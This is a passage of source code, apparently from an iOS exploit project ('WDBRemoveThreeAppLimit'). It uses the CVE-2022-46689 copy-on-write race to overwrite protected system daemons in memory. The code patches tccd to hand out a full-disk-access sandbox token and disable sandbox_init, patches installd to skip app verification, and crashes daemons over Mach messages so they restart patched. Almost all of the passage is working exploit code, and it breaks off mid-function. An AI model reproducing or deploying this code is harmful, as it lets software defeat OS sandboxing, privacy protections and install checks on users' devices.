ret 102 | static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; 103 | void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); 104 | if (!offset) { 105 | return 0; 106 | } 107 | return offset - executable_map; 108 | } 109 | 110 | static uint64_t patchfind_got(void* executable_map, size_t executable_length, 111 | struct segment_command_64* data_const_segment, 112 | struct symtab_command* symtab_command, 113 | struct dysymtab_command* dysymtab_command, 114 | const char* target_symbol_name) { 115 | uint64_t target_symbol_index = 0; 116 | for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { 117 | struct nlist_64* sym = 118 | ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; 119 | const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; 120 | if (strcmp(sym_name, target_symbol_name)) { 121 | continue; 122 | } 123 | // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); 124 | target_symbol_index = sym_index; 125 | break; 126 | } 127 | 128 | struct section_64* section_array = 129 | ((void*)data_const_segment) + sizeof(struct segment_command_64); 130 | struct section_64* first_section = §ion_array[0]; 131 | if (!(strcmp(first_section->sectname, "__auth_got") == 0 || 132 | strcmp(first_section->sectname, "__got") == 0)) { 133 | return 0; 134 | } 135 | uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; 136 | 137 | for (int i = 0; i < first_section->size; i += 8) { 138 | uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); 139 | uint64_t indirect_table_entry = (val & 0xfffful); 140 | if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { 141 | return first_section->offset + i; 142 | } 143 | } 144 | return 0; 145 | } 146 | 147 | static bool patchfind(void* executable_map, size_t executable_length, 148 | struct grant_full_disk_access_offsets* offsets) { 149 | struct segment_command_64* data_const_segment = nil; 150 | struct symtab_command* symtab_command = nil; 151 | struct dysymtab_command* dysymtab_command = nil; 152 | if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, 153 | &dysymtab_command)) { 154 | printf("no sections\n"); 155 | return false; 156 | } 157 | if ((offsets->offset_addr_s_com_apple_tcc_ = 158 | patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { 159 | printf("no com.apple.tcc. string\n"); 160 | return false; 161 | } 162 | if ((offsets->offset_padding_space_for_read_write_string = 163 | patchfind_get_padding(data_const_segment)) == 0) { 164 | printf("no padding\n"); 165 | return false; 166 | } 167 | if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( 168 | executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { 169 | printf("no kTCCServiceMediaLibrary string\n"); 170 | return false; 171 | } 172 | if ((offsets->offset_auth_got__sandbox_init = 173 | patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, 174 | dysymtab_command, "_sandbox_init")) == 0) { 175 | printf("no sandbox_init\n"); 176 | return false; 177 | } 178 | if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == 179 | 0) { 180 | printf("no just return 0\n"); 181 | return false; 182 | } 183 | struct mach_header_64* executable_header = executable_map; 184 | offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; 185 | 186 | return true; 187 | } 188 | 189 | // MARK: - tccd patching 190 | 191 | static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { 192 | // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can 193 | // re-use it until next reboot. 194 | // Returns the sandbox token if there is one, or nil if there isn't one. 195 | xpc_connection_t connection = xpc_connection_create_mach_service( 196 | "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); 197 | xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { 198 | NSLog(@"xpc event handler: %@", object); 199 | }); 200 | xpc_connection_resume(connection); 201 | const char* keys[] = { 202 | "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", 203 | "target_token", "background_session", 204 | }; 205 | xpc_object_t values[] = { 206 | xpc_string_create("17087.1"), 207 | xpc_string_create("TCCAccessRequest"), 208 | xpc_string_create("com.apple.app-sandbox.read-write"), 209 | xpc_null_create(), 210 | xpc_bool_create(false), 211 | xpc_null_create(), 212 | xpc_bool_create(false), 213 | }; 214 | xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); 215 | #if 0 216 | xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); 217 | NSLog(@"%@", response_message); 218 | 219 | #endif 220 | xpc_connection_send_message_with_reply( 221 | connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 222 | ^(xpc_object_t object) { 223 | if (!object) { 224 | NSLog(@"object is nil???"); 225 | completion(nil); 226 | return; 227 | } 228 | NSLog(@"response: %@", object); 229 | if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { 230 | NSLog(@"xpc error?"); 231 | completion(nil); 232 | return; 233 | } 234 | NSLog(@"debug description: %@", [object debugDescription]); 235 | const char* extension_string = xpc_dictionary_get_string(object, "extension"); 236 | NSString* extension_nsstring = 237 | extension_string ? [NSString stringWithUTF8String:extension_string] : nil; 238 | completion(extension_nsstring); 239 | }); 240 | } 241 | 242 | static NSData* patchTCCD(void* executableMap, size_t executableLength) { 243 | struct grant_full_disk_access_offsets offsets = {}; 244 | if (!patchfind(executableMap, executableLength, &offsets)) { 245 | return nil; 246 | } 247 | 248 | NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; 249 | // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); 250 | char* mutableBytes = data.mutableBytes; 251 | { 252 | // rewrite com.apple.tcc. into blank string 253 | *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; 254 | } 255 | { 256 | // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" 257 | // we need to stick this somewhere; just put it in the padding between 258 | // the end of __objc_arrayobj and the end of __DATA_CONST 259 | strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), 260 | "com.apple.app-sandbox.read-write"); 261 | struct dyld_chained_ptr_arm64e_rebase targetRebase = 262 | *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + 263 | offsets.offset_addr_s_kTCCServiceMediaLibrary); 264 | targetRebase.target = offsets.offset_padding_space_for_read_write_string; 265 | *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + 266 | offsets.offset_addr_s_kTCCServiceMediaLibrary) = 267 | targetRebase; 268 | *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = 269 | strlen("com.apple.app-sandbox.read-write"); 270 | } 271 | if (offsets.is_arm64e) { 272 | // make sandbox_init call return 0; 273 | struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { 274 | .auth = 1, 275 | .bind = 0, 276 | .next = 1, 277 | .key = 0, // IA 278 | .addrDiv = 1, 279 | .diversity = 0, 280 | .target = offsets.offset_just_return_0, 281 | }; 282 | *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + 283 | offsets.offset_auth_got__sandbox_init) = 284 | targetRebase; 285 | } else { 286 | // make sandbox_init call return 0; 287 | struct dyld_chained_ptr_64_rebase targetRebase = { 288 | .bind = 0, 289 | .next = 2, 290 | .target = offsets.offset_just_return_0, 291 | }; 292 | *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = 293 | targetRebase; 294 | } 295 | return data; 296 | } 297 | 298 | static bool overwrite_file(int fd, NSData* sourceData) { 299 | for (int off = 0; off < sourceData.length; off += 0x4000) { 300 | bool success = false; 301 | for (int i = 0; i < 2; i++) { 302 | if (unaligned_copy_switch_race( 303 | fd, off, sourceData.bytes + off, 304 | off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { 305 | success = true; 306 | break; 307 | } 308 | } 309 | if (!success) { 310 | return false; 311 | } 312 | } 313 | return true; 314 | } 315 | 316 | static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, 317 | NSError* _Nullable error)) { 318 | char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; 319 | int fd = open(targetPath, O_RDONLY | O_CLOEXEC); 320 | if (fd == -1) { 321 | // iOS 15.3 and below 322 | targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; 323 | fd = open(targetPath, O_RDONLY | O_CLOEXEC); 324 | } 325 | off_t targetLength = lseek(fd, 0, SEEK_END); 326 | lseek(fd, 0, SEEK_SET); 327 | void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); 328 | 329 | NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; 330 | NSData* sourceData = patchTCCD(targetMap, targetLength); 331 | if (!sourceData) { 332 | completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 333 | code:5 334 | userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); 335 | return; 336 | } 337 | 338 | if (!overwrite_file(fd, sourceData)) { 339 | overwrite_file(fd, originalData); 340 | munmap(targetMap, targetLength); 341 | completion( 342 | nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 343 | code:1 344 | userInfo:@{ 345 | NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " 346 | @"not be vulnerable to CVE-2022-46689." 347 | }]); 348 | return; 349 | } 350 | munmap(targetMap, targetLength); 351 | 352 | xpc_crasher("com.apple.tccd"); 353 | sleep(1); 354 | call_tccd(^(NSString* _Nullable extension_token) { 355 | overwrite_file(fd, originalData); 356 | xpc_crasher("com.apple.tccd"); 357 | NSError* returnError = nil; 358 | if (extension_token == nil) { 359 | returnError = 360 | [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 361 | code:2 362 | userInfo:@{ 363 | NSLocalizedDescriptionKey : @"tccd did not return an extension token." 364 | }]; 365 | } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { 366 | returnError = [NSError 367 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 368 | code:3 369 | userInfo:@{ 370 | NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " 371 | @"instead of an app sandbox token." 372 | }]; 373 | extension_token = nil; 374 | } 375 | completion(extension_token, returnError); 376 | }); 377 | } 378 | 379 | void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { 380 | if (!NSClassFromString(@"NSPresentationIntent")) { 381 | // class introduced in iOS 15.0. 382 | // TODO(zhuowei): maybe check the actual OS version instead? 383 | completion([NSError 384 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 385 | code:6 386 | userInfo:@{ 387 | NSLocalizedDescriptionKey : 388 | @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " 389 | @"reverted after reboot, so running this may permanently corrupt tccd." 390 | }]); 391 | return; 392 | } 393 | NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory 394 | inDomains:NSUserDomainMask][0]; 395 | NSURL* sourceURL = 396 | [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; 397 | NSError* error = nil; 398 | NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL 399 | encoding:NSUTF8StringEncoding 400 | error:&error]; 401 | if (cachedToken) { 402 | int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); 403 | if (handle > 0) { 404 | // cached version worked 405 | completion(nil); 406 | return; 407 | } 408 | } 409 | grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { 410 | if (error) { 411 | completion(error); 412 | return; 413 | } 414 | int64_t handle = sandbox_extension_consume(extension_token.UTF8String); 415 | if (handle <= 0) { 416 | completion([NSError 417 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 418 | code:4 419 | userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); 420 | return; 421 | } 422 | [extension_token writeToURL:sourceURL 423 | atomically:true 424 | encoding:NSUTF8StringEncoding 425 | error:&error]; 426 | completion(nil); 427 | }); 428 | } 429 | 430 | /// MARK - installd patch 431 | 432 | struct installd_remove_app_limit_offsets { 433 | uint64_t offset_objc_method_list_t_MIInstallableBundle; 434 | uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; 435 | uint64_t offset_data_const_end_padding; 436 | // MIUninstallRecord::supportsSecureCoding 437 | uint64_t offset_return_true; 438 | }; 439 | 440 | struct installd_remove_app_limit_offsets gAppLimitOffsets = { 441 | .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, 442 | .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, 443 | .offset_data_const_end_padding = 0x79c38, 444 | .offset_return_true = 0x19860, 445 | }; 446 | 447 | static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, 448 | size_t executable_length, 449 | const char* needle) { 450 | void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); 451 | if (!str_offset) { 452 | return 0; 453 | } 454 | uint64_t str_file_offset = str_offset - executable_map; 455 | for (int i = 0; i < executable_length - 8; i += 8) { 456 | uint64_t val = *(uint64_t*)(executable_map + i); 457 | if ((val & 0xfffffffful) != str_file_offset) { 458 | continue; 459 | } 460 | // baseMethods 461 | if (*(uint64_t*)(executable_map + i + 8) != 0) { 462 | return i + 8; 463 | } 464 | } 465 | return 0; 466 | } 467 | 468 | static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { 469 | // mov w0, #1 470 | // ret 471 | static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; 472 | void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); 473 | if (!offset) { 474 | return 0; 475 | } 476 | return offset - executable_map; 477 | } 478 | 479 | static bool patchfind_installd(void* executable_map, size_t executable_length, 480 | struct installd_remove_app_limit_offsets* offsets) { 481 | struct segment_command_64* data_const_segment = nil; 482 | struct symtab_command* symtab_command = nil; 483 | struct dysymtab_command* dysymtab_command = nil; 484 | if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, 485 | &dysymtab_command)) { 486 | printf("no sections\n"); 487 | return false; 488 | } 489 | if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { 490 | printf("no padding\n"); 491 | return false; 492 | } 493 | if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 494 | patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, 495 | "MIInstallableBundle")) == 0) { 496 | printf("no MIInstallableBundle class_rw_t\n"); 497 | return false; 498 | } 499 | offsets->offset_objc_method_list_t_MIInstallableBundle = 500 | (*(uint64_t*)(executable_map + 501 | offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & 502 | 0xffffffull; 503 | 504 | if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == 505 | 0) { 506 | printf("no return true\n"); 507 | return false; 508 | } 509 | return true; 510 | } 511 | 512 | struct objc_method { 513 | int32_t name; 514 | int32_t types; 515 | int32_t imp; 516 | }; 517 | 518 | struct objc_method_list { 519 | uint32_t entsizeAndFlags; 520 | uint32_t count; 521 | struct objc_method methods[]; 522 | }; 523 | 524 | static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, 525 | uint64_t new_offset, uint64_t* out_copied_length, 526 | void (^callback)(const char* sel, 527 | uint64_t* inout_function_pointer)) { 528 | struct objc_method_list* original_list = mutableBytes + old_offset; 529 | struct objc_method_list* new_list = mutableBytes + new_offset; 530 | *out_copied_length = 531 | sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); 532 | new_list->entsizeAndFlags = original_list->entsizeAndFlags; 533 | new_list->count = original_list->count; 534 | for (int method_index = 0; method_index < original_list->count; method_index++) { 535 | struct objc_method* method = &original_list->methods[method_index]; 536 | // Relative pointers 537 | uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; 538 | uint64_t types_file_offset = 539 | ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; 540 | uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; 541 | const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); 542 | callback(sel, &imp_file_offset); 543 | 544 | struct objc_method* new_method = &new_list->methods[method_index]; 545 | new_method->name = (int32_t)((int64_t)name_file_offset - 546 | (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); 547 | new_method->types = (int32_t)((int64_t)types_file_offset - 548 | (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); 549 | new_method->imp = (int32_t)((int64_t)imp_file_offset - 550 | (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); 551 | } 552 | }; 553 | 554 | static NSData* make_patch_installd(void* executableMap, size_t executableLength) { 555 | struct installd_remove_app_limit_offsets offsets = {}; 556 | if (!patchfind_installd(executableMap, executableLength, &offsets)) { 557 | return nil; 558 | } 559 | 560 | NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; 561 | char* mutableBytes = data.mutableBytes; 562 | uint64_t current_empty_space = offsets.offset_data_const_end_padding; 563 | uint64_t copied_size = 0; 564 | uint64_t new_method_list_offset = current_empty_space; 565 | patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, 566 | current_empty_space, &copied_size, 567 | ^(const char* sel, uint64_t* inout_address) { 568 | if (strcmp(sel, "performVerificationWithError:") != 0) { 569 | return; 570 | } 571 | *inout_address = offsets.offset_return_true; 572 | }); 573 | current_empty_space += copied_size; 574 | ((struct 575 | dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + 576 | offsets 577 | .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) 578 | ->target = new_method_list_offset; 579 | return data; 580 | } 581 | 582 | bool patch_installd() { 583 | const char* targetPath = "/usr/libexec/installd"; 584 | int fd = open(targetPath, O_RDONLY | O_CLOEXEC); 585 | off_t targetLength = lseek(fd, 0, SEEK_END); 586 | lseek(fd, 0, SEEK_SET); 587 | void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); 588 | 589 | NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; 590 | NSData* sourceData = make_patch_installd(targetMap, targetLength); 591 | if (!sourceData) { 592 | NSLog(@"can't patchfind"); 593 | return false; 594 | } 595 | 596 | if (!overwrite_file(fd, sourceData)) { 597 | overwrite_file(fd, originalData); 598 | munmap(targetMap, targetLength); 599 | NSLog(@"can't overwrite"); 600 | return false; 601 | } 602 | munmap(targetMap, targetLength); 603 | xpc_crasher("com.apple.mobile.installd"); 604 | sleep(1); 605 | 606 | // TODO(zhuowei): for now we revert it once installd starts 607 | // so the change will only last until when this installd exits 608 | overwrite_file(fd, originalData); 609 | return true; 610 | } 611 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/helpers.h: -------------------------------------------------------------------------------- 1 | #ifndef helpers_h 2 | #define helpers_h 3 | 4 | char* get_temp_file_path(void); 5 | void test_nsexpressions(void); 6 | char* set_up_tmp_file(void); 7 | 8 | void xpc_crasher(char* service_name); 9 | 10 | #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) 11 | 12 | #endif /* helpers_h */ 13 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/helpers.m: -------------------------------------------------------------------------------- 1 | #import 2 | #include 3 | #include 4 | #include 5 | 6 | char* get_temp_file_path(void) { 7 | return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); 8 | } 9 | 10 | // create a read-only test file we can target: 11 | char* set_up_tmp_file(void) { 12 | char* path = get_temp_file_path(); 13 | printf("path: %s\n", path); 14 | 15 | FILE* f = fopen(path, "w"); 16 | if (!f) { 17 | printf("opening the tmp file failed...\n"); 18 | return NULL; 19 | } 20 | char* buf = malloc(PAGE_SIZE*10); 21 | memset(buf, 'A', PAGE_SIZE*10); 22 | fwrite(buf, PAGE_SIZE*10, 1, f); 23 | //fclose(f); 24 | return path; 25 | } 26 | 27 | kern_return_t 28 | bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); 29 | 30 | struct xpc_w00t { 31 | mach_msg_header_t hdr; 32 | mach_msg_body_t body; 33 | mach_msg_port_descriptor_t client_port; 34 | mach_msg_port_descriptor_t reply_port; 35 | }; 36 | 37 | mach_port_t get_send_once(mach_port_t recv) { 38 | mach_port_t so = MACH_PORT_NULL; 39 | mach_msg_type_name_t type = 0; 40 | kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); 41 | if (err != KERN_SUCCESS) { 42 | printf("port right extraction failed: %s\n", mach_error_string(err)); 43 | return MACH_PORT_NULL; 44 | } 45 | printf("made so: 0x%x from recv: 0x%x\n", so, recv); 46 | return so; 47 | } 48 | 49 | // copy-pasted from an exploit I wrote in 2019... 50 | // still works... 51 | 52 | // (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) 53 | 54 | void xpc_crasher(char* service_name) { 55 | mach_port_t client_port = MACH_PORT_NULL; 56 | mach_port_t reply_port = MACH_PORT_NULL; 57 | 58 | mach_port_t service_port = MACH_PORT_NULL; 59 | 60 | kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); 61 | if(err != KERN_SUCCESS){ 62 | printf("unable to look up %s\n", service_name); 63 | return; 64 | } 65 | 66 | if (service_port == MACH_PORT_NULL) { 67 | printf("bad service port\n"); 68 | return; 69 | } 70 | 71 | // allocate the client and reply port: 72 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); 73 | if (err != KERN_SUCCESS) { 74 | printf("port allocation failed: %s\n", mach_error_string(err)); 75 | return; 76 | } 77 | 78 | mach_port_t so0 = get_send_once(client_port); 79 | mach_port_t so1 = get_send_once(client_port); 80 | 81 | // insert a send so we maintain the ability to send to this port 82 | err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); 83 | if (err != KERN_SUCCESS) { 84 | printf("port right insertion failed: %s\n", mach_error_string(err)); 85 | return; 86 | } 87 | 88 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); 89 | if (err != KERN_SUCCESS) { 90 | printf("port allocation failed: %s\n", mach_error_string(err)); 91 | return; 92 | } 93 | 94 | struct xpc_w00t msg; 95 | memset(&msg.hdr, 0, sizeof(msg)); 96 | msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); 97 | msg.hdr.msgh_size = sizeof(msg); 98 | msg.hdr.msgh_remote_port = service_port; 99 | msg.hdr.msgh_id = 'w00t'; 100 | 101 | msg.body.msgh_descriptor_count = 2; 102 | 103 | msg.client_port.name = client_port; 104 | msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send 105 | msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; 106 | 107 | msg.reply_port.name = reply_port; 108 | msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; 109 | msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; 110 | 111 | err = mach_msg(&msg.hdr, 112 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 113 | msg.hdr.msgh_size, 114 | 0, 115 | MACH_PORT_NULL, 116 | MACH_MSG_TIMEOUT_NONE, 117 | MACH_PORT_NULL); 118 | 119 | if (err != KERN_SUCCESS) { 120 | printf("w00t message send failed: %s\n", mach_error_string(err)); 121 | return; 122 | } else { 123 | printf("sent xpc w00t message\n"); 124 | } 125 | 126 | mach_port_deallocate(mach_task_self(), so0); 127 | mach_port_deallocate(mach_task_self(), so1); 128 | 129 | return; 130 | } 131 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/vm_unaligned_copy_switch_race.c: -------------------------------------------------------------------------------- 1 | // from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c 2 | // modified to compile outside of XNU 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include "vm_unaligned_copy_switch_race.h" 16 | 17 | #define T_QUIET 18 | #define T_EXPECT_MACH_SUCCESS(a, b) 19 | #define T_EXPECT_MACH_ERROR(a, b, c) 20 | #define T_ASSERT_MACH_SUCCESS(a, b, ...) 21 | #define T_ASSERT_MACH_ERROR(a, b, c) 22 | #define T_ASSERT_POSIX_SUCCESS(a, b) 23 | #define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) 24 | #define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) 25 | #define T_ASSERT_TRUE(a, b, ...) 26 | #define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) 27 | #define T_DECL(a, b) static void a(void) 28 | #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) 29 | 30 | struct context1 { 31 | vm_size_t obj_size; 32 | vm_address_t e0; 33 | mach_port_t mem_entry_ro; 34 | mach_port_t mem_entry_rw; 35 | dispatch_semaphore_t running_sem; 36 | pthread_mutex_t mtx; 37 | volatile bool done; 38 | }; 39 | 40 | static void * 41 | switcheroo_thread(__unused void *arg) 42 | { 43 | kern_return_t kr; 44 | struct context1 *ctx; 45 | 46 | ctx = (struct context1 *)arg; 47 | /* tell main thread we're ready to run */ 48 | dispatch_semaphore_signal(ctx->running_sem); 49 | while (!ctx->done) { 50 | /* wait for main thread to be done setting things up */ 51 | pthread_mutex_lock(&ctx->mtx); 52 | if (ctx->done) { 53 | pthread_mutex_unlock(&ctx->mtx); 54 | break; 55 | } 56 | /* switch e0 to RW mapping */ 57 | kr = vm_map(mach_task_self(), 58 | &ctx->e0, 59 | ctx->obj_size, 60 | 0, /* mask */ 61 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 62 | ctx->mem_entry_rw, 63 | 0, 64 | FALSE, /* copy */ 65 | VM_PROT_READ | VM_PROT_WRITE, 66 | VM_PROT_READ | VM_PROT_WRITE, 67 | VM_INHERIT_DEFAULT); 68 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); 69 | /* wait a little bit */ 70 | usleep(100); 71 | /* switch bakc to original RO mapping */ 72 | kr = vm_map(mach_task_self(), 73 | &ctx->e0, 74 | ctx->obj_size, 75 | 0, /* mask */ 76 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 77 | ctx->mem_entry_ro, 78 | 0, 79 | FALSE, /* copy */ 80 | VM_PROT_READ, 81 | VM_PROT_READ, 82 | VM_INHERIT_DEFAULT); 83 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); 84 | /* tell main thread we're don switching mappings */ 85 | pthread_mutex_unlock(&ctx->mtx); 86 | usleep(100); 87 | } 88 | return NULL; 89 | } 90 | 91 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { 92 | bool retval = false; 93 | pthread_t th = NULL; 94 | int ret; 95 | kern_return_t kr; 96 | time_t start, duration; 97 | #if 0 98 | mach_msg_type_number_t cow_read_size; 99 | #endif 100 | vm_size_t copied_size; 101 | int loops; 102 | vm_address_t e2, e5; 103 | struct context1 context1, *ctx; 104 | int kern_success = 0, kern_protection_failure = 0, kern_other = 0; 105 | vm_address_t ro_addr, tmp_addr; 106 | memory_object_size_t mo_size; 107 | 108 | ctx = &context1; 109 | ctx->obj_size = 256 * 1024; 110 | 111 | void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); 112 | if (file_mapped == MAP_FAILED) { 113 | fprintf(stderr, "failed to map\n"); 114 | return false; 115 | } 116 | if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { 117 | fprintf(stderr, "already the same?\n"); 118 | munmap(file_mapped, ctx->obj_size); 119 | return true; 120 | } 121 | ro_addr = (vm_address_t)file_mapped; 122 | 123 | ctx->e0 = 0; 124 | ctx->running_sem = dispatch_semaphore_create(0); 125 | T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); 126 | ret = pthread_mutex_init(&ctx->mtx, NULL); 127 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); 128 | ctx->done = false; 129 | ctx->mem_entry_rw = MACH_PORT_NULL; 130 | ctx->mem_entry_ro = MACH_PORT_NULL; 131 | #if 0 132 | /* allocate our attack target memory */ 133 | kr = vm_allocate(mach_task_self(), 134 | &ro_addr, 135 | ctx->obj_size, 136 | VM_FLAGS_ANYWHERE); 137 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); 138 | /* initialize to 'A' */ 139 | memset((char *)ro_addr, 'A', ctx->obj_size); 140 | #endif 141 | 142 | /* make it read-only */ 143 | kr = vm_protect(mach_task_self(), 144 | ro_addr, 145 | ctx->obj_size, 146 | TRUE, /* set_maximum */ 147 | VM_PROT_READ); 148 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); 149 | /* make sure we can't get read-write handle on that target memory */ 150 | mo_size = ctx->obj_size; 151 | kr = mach_make_memory_entry_64(mach_task_self(), 152 | &mo_size, 153 | 